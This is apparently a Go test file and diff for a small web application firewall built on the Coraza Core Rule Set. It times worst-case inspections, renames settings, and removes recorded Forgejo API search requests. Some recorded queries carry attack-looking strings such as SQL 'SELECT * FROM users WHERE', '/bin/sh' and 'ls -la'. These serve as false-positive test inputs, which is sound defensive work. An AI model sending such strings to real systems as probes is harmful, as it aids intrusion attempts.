// inspectionTime returns the processor time crs takes to inspect tc, and the
|
|
||||||
// mean of referenceTime just before and after. It fails t unless crs reads all
|
|
||||||
// of tc's body and Coraza parses it.
|
|
||||||
//
|
|
||||||
// All of it runs on this goroutine, kept on one thread, so the thread's
|
|
||||||
// processor time measures it. Time other work holds the processor does not
|
|
||||||
// count.
|
|
||||||
func inspectionTime(
|
|
||||||
t *testing.T, crs *coreruleset.CoreRuleSet, tc visitorRequest,
|
|
||||||
) (time.Duration, time.Duration) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(
|
|
||||||
t.Context(), http.MethodPost, tc.target, nil,
|
|
||||||
)
|
|
||||||
maps.Copy(req.Header, tc.header)
|
|
||||||
|
|
||||||
if tc.contentType != "" {
|
|
||||||
req.Header.Set("Content-Type", tc.contentType)
|
|
||||||
}
|
|
||||||
|
|
||||||
runtime.LockOSThread()
|
|
||||||
|
|
||||||
defer runtime.UnlockOSThread()
|
|
||||||
|
|
||||||
before := referenceTime(t)
|
|
||||||
|
|
||||||
began := threadCPUTime(t)
|
|
||||||
result, read, _ := crs.Inspect(
|
|
||||||
req, netip.MustParseAddr("192.0.2.1"), strings.NewReader(tc.body),
|
|
||||||
)
|
|
||||||
took := threadCPUTime(t) - began
|
|
||||||
|
|
||||||
reference := (before + referenceTime(t)) / 2
|
|
||||||
|
|
||||||
if string(read) != tc.body {
|
|
||||||
t.Errorf("read %d bytes of %d", len(read), len(tc.body))
|
|
||||||
}
|
|
||||||
|
|
||||||
// Rule 900440 matches a body Coraza could not parse.
|
|
||||||
if slices.Contains(result.RuleIDs, 900440) {
|
|
||||||
t.Errorf("Coraza could not parse the body")
|
|
||||||
}
|
|
||||||
|
|
||||||
return took, reference
|
|
||||||
}
|
|
||||||
|
|
||||||
// TestTheCoreRuleSetInspectsEachWorstCaseRequestInTime runs one at a time, so
|
|
||||||
// that the tests running in parallel do not slow it. Other work on the host
|
|
||||||
// can still slow one try more than the reference work around it, so a request
|
|
||||||
// fails only when three tries in a row take too long.
|
|
||||||
//
|
|
||||||
//nolint:paralleltest // one at a time, as above
|
|
||||||
func TestTheCoreRuleSetInspectsEachWorstCaseRequestInTime(t *testing.T) {
|
|
||||||
const tries = 3
|
|
||||||
|
|
||||||
// The settings that make the Core Rule Set slowest: the highest paranoia
|
|
||||||
// level, no rule switched off, and the most of a body read.
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 4, BodyInspectionSize: mostBodyRead,
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, tc := range worstCaseRequests() {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
var took, reference time.Duration
|
|
||||||
|
|
||||||
for range tries {
|
|
||||||
took, reference = inspectionTime(t, crs, tc)
|
|
||||||
if took <= inspectionTimeLimitMultiple*reference {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Errorf(
|
|
||||||
"took %s on the last of %d tries, over %d times the %s "+
|
|
||||||
"of the reference work",
|
|
||||||
took, tries, inspectionTimeLimitMultiple, reference,
|
|
||||||
)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -5,7 +5,7 @@
|
|||||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
# has no parameter of that name, so it matters only while
|
# has no parameter of that name, so it matters only while
|
||||||
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
#
|
#
|
||||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
# resources under them count as Mastodon's paths.
|
# resources under them count as Mastodon's paths.
|
||||||
|
|||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const mastodonThreshold = 5
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter of
|
# exclusion on a field of a body applies only when the query has no parameter of
|
||||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
# MediaWiki's paths are matched at the site root and under /w/.
|
# MediaWiki's paths are matched at the site root and under /w/.
|
||||||
#
|
#
|
||||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
||||||
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {mediawiki},
|
otherHost: {mediawiki},
|
||||||
|
|||||||
@@ -5,7 +5,7 @@
|
|||||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||||
# applies only when the query has no parameter of that name, so it matters only
|
# applies only when the query has no parameter of that name, so it matters only
|
||||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
|
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
|
||||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
||||||
# serves them.
|
# serves them.
|
||||||
#
|
#
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
// nextcloudSignIn is the sign-in page.
|
||||||
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
crs := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
Apps: map[string][]string{
|
||||||
giteaHost: {gitea},
|
giteaHost: {gitea},
|
||||||
otherHost: {nextcloud},
|
otherHost: {nextcloud},
|
||||||
@@ -529,7 +528,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
|||||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
target := nextcloudUsers + "/alice"
|
target := nextcloudUsers + "/alice"
|
||||||
|
|||||||
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
|
|||||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := giteaRequests(t)
|
requests := giteaRequests(t)
|
||||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||||
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
|||||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, name)
|
requests := recordedRequests(t, name)
|
||||||
|
|
||||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
|||||||
defaults := servingApps(t, apps)
|
defaults := servingApps(t, apps)
|
||||||
bodies := shared(t, coreruleset.Params{
|
bodies := shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
BodyLimit: bodyLimit, Apps: apps,
|
||||||
})
|
})
|
||||||
|
|
||||||
for _, recorded := range requests {
|
for _, recorded := range requests {
|
||||||
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|||||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||||
|
|
||||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||||
|
|||||||
-160
@@ -974,163 +974,3 @@
|
|||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||||
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
|
|
||||||
# 17.0.1. Each searches for words that name commands and files, such as python3
|
|
||||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
|
||||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
|
||||||
# search of unadopted repositories takes an owner and a name.
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=alice", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/api/v1/admin/unadopted?query=alice%2Fpython3-app", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
|
||||||
